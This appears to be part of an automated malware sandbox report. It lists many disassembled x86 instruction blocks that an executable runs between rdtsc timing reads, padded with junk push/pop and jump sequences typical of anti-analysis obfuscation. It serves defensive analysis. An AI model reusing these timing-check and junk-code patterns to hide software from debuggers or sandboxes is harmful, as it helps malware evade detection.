Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0432 second address: 6DC046B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+0Ch], eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F82B53DDA19h 0x00000013 jmp 00007F82B53DDA0Bh 0x00000018 popfd 0x00000019 push ecx 0x0000001a pop edx 0x0000001b popad 0x0000001c push ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC046B second address: 6DC0491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov eax, dword ptr [ebx+4Ch] 0x00000009 jmp 00007F82B4B869CCh 0x0000000e mov dword ptr [esi+10h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F82B4B869CAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0491 second address: 6DC04A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC04A0 second address: 6DC04E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F82B4B869CFh 0x00000009 adc cx, 9B9Eh 0x0000000e jmp 00007F82B4B869D9h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov eax, dword ptr [ebx+50h] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC04E0 second address: 6DC04E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC04E4 second address: 6DC04E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC04E8 second address: 6DC04EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC04EE second address: 6DC05B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, cx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+14h], eax 0x0000000c pushad 0x0000000d mov ebx, 2D2BA4C8h 0x00000012 pushfd 0x00000013 jmp 00007F82B4B869D1h 0x00000018 or cl, 00000036h 0x0000001b jmp 00007F82B4B869D1h 0x00000020 popfd 0x00000021 popad 0x00000022 mov eax, dword ptr [ebx+54h] 0x00000025 pushad 0x00000026 mov edx, 1DF11BBEh 0x0000002b popad 0x0000002c mov dword ptr [esi+18h], eax 0x0000002f pushad 0x00000030 mov ch, dl 0x00000032 jmp 00007F82B4B869CCh 0x00000037 popad 0x00000038 mov eax, dword ptr [ebx+58h] 0x0000003b pushad 0x0000003c mov cx, 2C5Dh 0x00000040 pushfd 0x00000041 jmp 00007F82B4B869CAh 0x00000046 adc ecx, 24F834B8h 0x0000004c jmp 00007F82B4B869CBh 0x00000051 popfd 0x00000052 popad 0x00000053 mov dword ptr [esi+1Ch], eax 0x00000056 jmp 00007F82B4B869D6h 0x0000005b mov eax, dword ptr [ebx+5Ch] 0x0000005e jmp 00007F82B4B869D0h 0x00000063 mov dword ptr [esi+20h], eax 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007F82B4B869D7h 0x0000006d rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC05B3 second address: 6DC05DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+60h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ah, dl 0x00000011 mov cx, 30ABh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC05DD second address: 6DC060C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+24h], eax 0x0000000c jmp 00007F82B4B869CEh 0x00000011 mov eax, dword ptr [ebx+64h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC060C second address: 6DC0629 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0629 second address: 6DC065C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+28h], eax 0x0000000c pushad 0x0000000d mov ecx, edi 0x0000000f popad 0x00000010 mov eax, dword ptr [ebx+68h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F82B4B869CEh 0x0000001b mov edi, esi 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC065C second address: 6DC0666 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 6B655F70h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0666 second address: 6DC0679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esi+2Ch], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx esi, di 0x00000010 push edx 0x00000011 pop eax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0679 second address: 6DC067F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC067F second address: 6DC0683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0683 second address: 6DC0687 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0687 second address: 6DC0733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ax, word ptr [ebx+6Ch] 0x0000000c jmp 00007F82B4B869CAh 0x00000011 mov word ptr [esi+30h], ax 0x00000015 jmp 00007F82B4B869D0h 0x0000001a mov ax, word ptr [ebx+00000088h] 0x00000021 pushad 0x00000022 mov ax, D6ADh 0x00000026 mov esi, 65B530A9h 0x0000002b popad 0x0000002c mov word ptr [esi+32h], ax 0x00000030 jmp 00007F82B4B869D4h 0x00000035 mov eax, dword ptr [ebx+0000008Ch] 0x0000003b pushad 0x0000003c mov cx, 2F8Dh 0x00000040 jmp 00007F82B4B869CAh 0x00000045 popad 0x00000046 mov dword ptr [esi+34h], eax 0x00000049 jmp 00007F82B4B869D0h 0x0000004e mov eax, dword ptr [ebx+18h] 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 pushfd 0x00000055 jmp 00007F82B4B869CDh 0x0000005a and ecx, 07FF2FC6h 0x00000060 jmp 00007F82B4B869D1h 0x00000065 popfd 0x00000066 pushad 0x00000067 popad 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0733 second address: 6DC0739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0739 second address: 6DC0791 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+38h], eax 0x0000000b jmp 00007F82B4B869D5h 0x00000010 mov eax, dword ptr [ebx+1Ch] 0x00000013 pushad 0x00000014 mov esi, 6B27A4F3h 0x00000019 push eax 0x0000001a push edx 0x0000001b pushfd 0x0000001c jmp 00007F82B4B869D6h 0x00000021 jmp 00007F82B4B869D5h 0x00000026 popfd 0x00000027 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0791 second address: 6DC07E8 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 628C9527h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esi+3Ch], eax 0x0000000d jmp 00007F82B53DDA0Ah 0x00000012 mov eax, dword ptr [ebx+20h] 0x00000015 jmp 00007F82B53DDA10h 0x0000001a mov dword ptr [esi+40h], eax 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F82B53DDA0Eh 0x00000024 jmp 00007F82B53DDA15h 0x00000029 popfd 0x0000002a push eax 0x0000002b push edx 0x0000002c push ecx 0x0000002d pop edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC07E8 second address: 6DC0822 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 lea eax, dword ptr [ebx+00000080h] 0x0000000d jmp 00007F82B4B869D4h 0x00000012 push 00000001h 0x00000014 jmp 00007F82B4B869D0h 0x00000019 nop 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0822 second address: 6DC0826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0826 second address: 6DC082A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC082A second address: 6DC0830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0830 second address: 6DC0836 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0836 second address: 6DC083A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC083A second address: 6DC0856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F82B4B869CFh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0856 second address: 6DC085A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC085A second address: 6DC0860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0860 second address: 6DC087F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC087F second address: 6DC0883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0883 second address: 6DC08A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC08A0 second address: 6DC08F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F82B4B869D7h 0x00000009 sbb ch, 0000005Eh 0x0000000c jmp 00007F82B4B869D9h 0x00000011 popfd 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 lea eax, dword ptr [ebp-10h] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F82B4B869D3h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC09A7 second address: 6DC09CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC09CD second address: 6DC09D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC09D1 second address: 6DC09E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC09E4 second address: 6DC0A0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 call 00007F82B4B869D0h 0x0000000b pop eax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f lea eax, dword ptr [ebx+78h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F82B4B869CCh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0A0F second address: 6DC0A15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0A15 second address: 6DC0A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0A19 second address: 6DC0A56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 00000001h 0x0000000d jmp 00007F82B53DDA0Eh 0x00000012 nop 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F82B53DDA17h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0A56 second address: 6DC0A5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0A5C second address: 6DC0A9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov bx, si 0x0000000d mov dx, si 0x00000010 popad 0x00000011 nop 0x00000012 jmp 00007F82B53DDA12h 0x00000017 lea eax, dword ptr [ebp-08h] 0x0000001a jmp 00007F82B53DDA10h 0x0000001f nop 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 push edx 0x00000024 pop eax 0x00000025 mov edx, 7B3F00ECh 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0BED second address: 6DC0C57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 mov si, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebp 0x0000000c pushad 0x0000000d call 00007F82B4B869D1h 0x00000012 movzx eax, dx 0x00000015 pop ebx 0x00000016 popad 0x00000017 mov dword ptr [esp], eax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F82B4B869D6h 0x00000021 and esi, 60E641F8h 0x00000027 jmp 00007F82B4B869CBh 0x0000002c popfd 0x0000002d call 00007F82B4B869D8h 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0C57 second address: 6DC0C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 lea eax, dword ptr [ebp-18h] 0x00000009 pushad 0x0000000a movzx ecx, dx 0x0000000d popad 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0C6C second address: 6DC0C89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0C89 second address: 6DC0CA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov ecx, 5EB983A9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0CE2 second address: 6DC0D85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, eax 0x0000000b jmp 00007F82B4B869CEh 0x00000010 test edi, edi 0x00000012 pushad 0x00000013 mov eax, 141B544Dh 0x00000018 mov ax, E849h 0x0000001c popad 0x0000001d js 00007F8324BF5359h 0x00000023 jmp 00007F82B4B869D4h 0x00000028 mov eax, dword ptr [ebp-14h] 0x0000002b jmp 00007F82B4B869D0h 0x00000030 mov ecx, esi 0x00000032 pushad 0x00000033 mov edx, esi 0x00000035 mov ecx, 0B434499h 0x0000003a popad 0x0000003b mov dword ptr [esi+0Ch], eax 0x0000003e pushad 0x0000003f mov si, EDD1h 0x00000043 mov ax, 960Dh 0x00000047 popad 0x00000048 mov edx, 76EB06ECh 0x0000004d jmp 00007F82B4B869D8h 0x00000052 sub eax, eax 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0D85 second address: 6DC0D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0D8C second address: 6DC0D92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0D92 second address: 6DC0DB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lock cmpxchg dword ptr [edx], ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F82B53DDA16h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0DB6 second address: 6DC0E39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F82B4B869D1h 0x00000009 xor ecx, 72F42456h 0x0000000f jmp 00007F82B4B869D1h 0x00000014 popfd 0x00000015 jmp 00007F82B4B869D0h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d pop edi 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F82B4B869CEh 0x00000025 jmp 00007F82B4B869D5h 0x0000002a popfd 0x0000002b jmp 00007F82B4B869D0h 0x00000030 popad 0x00000031 test eax, eax 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 movsx edi, cx 0x00000039 pushad 0x0000003a popad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0E39 second address: 6DC0E4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F82B53DDA10h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0E4D second address: 6DC0E8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F8324BF524Dh 0x0000000e jmp 00007F82B4B869D7h 0x00000013 mov edx, dword ptr [ebp+08h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F82B4B869D5h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0E8C second address: 6DC0E92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0E92 second address: 6DC0EAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d call 00007F82B4B869CBh 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0EAB second address: 6DC0ED8 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F82B53DDA19h 0x00000008 jmp 00007F82B53DDA0Bh 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0ED8 second address: 6DC0EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov dword ptr [edx], eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0EE6 second address: 6DC0EEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0EEA second address: 6DC0EEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0EEE second address: 6DC0EF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0EF4 second address: 6DC0F03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F82B4B869CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0F03 second address: 6DC0F20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F82B53DDA10h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0F20 second address: 6DC0FD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+04h], eax 0x0000000c jmp 00007F82B4B869D6h 0x00000011 mov eax, dword ptr [esi+08h] 0x00000014 pushad 0x00000015 mov ax, 06FDh 0x00000019 pushfd 0x0000001a jmp 00007F82B4B869CAh 0x0000001f jmp 00007F82B4B869D5h 0x00000024 popfd 0x00000025 popad 0x00000026 mov dword ptr [edx+08h], eax 0x00000029 jmp 00007F82B4B869CEh 0x0000002e mov eax, dword ptr [esi+0Ch] 0x00000031 jmp 00007F82B4B869D0h 0x00000036 mov dword ptr [edx+0Ch], eax 0x00000039 pushad 0x0000003a mov bx, ax 0x0000003d pushfd 0x0000003e jmp 00007F82B4B869CAh 0x00000043 adc eax, 1840D098h 0x00000049 jmp 00007F82B4B869CBh 0x0000004e popfd 0x0000004f popad 0x00000050 mov eax, dword ptr [esi+10h] 0x00000053 pushad 0x00000054 push ecx 0x00000055 mov edx, 00025F86h 0x0000005a pop edi 0x0000005b popad 0x0000005c mov dword ptr [edx+10h], eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0FD0 second address: 6DC0FD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0FD4 second address: 6DC0FDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0FDA second address: 6DC1012 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, ax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+14h] 0x0000000c jmp 00007F82B53DDA10h 0x00000011 mov dword ptr [edx+14h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F82B53DDA17h 0x0000001b rdtsc
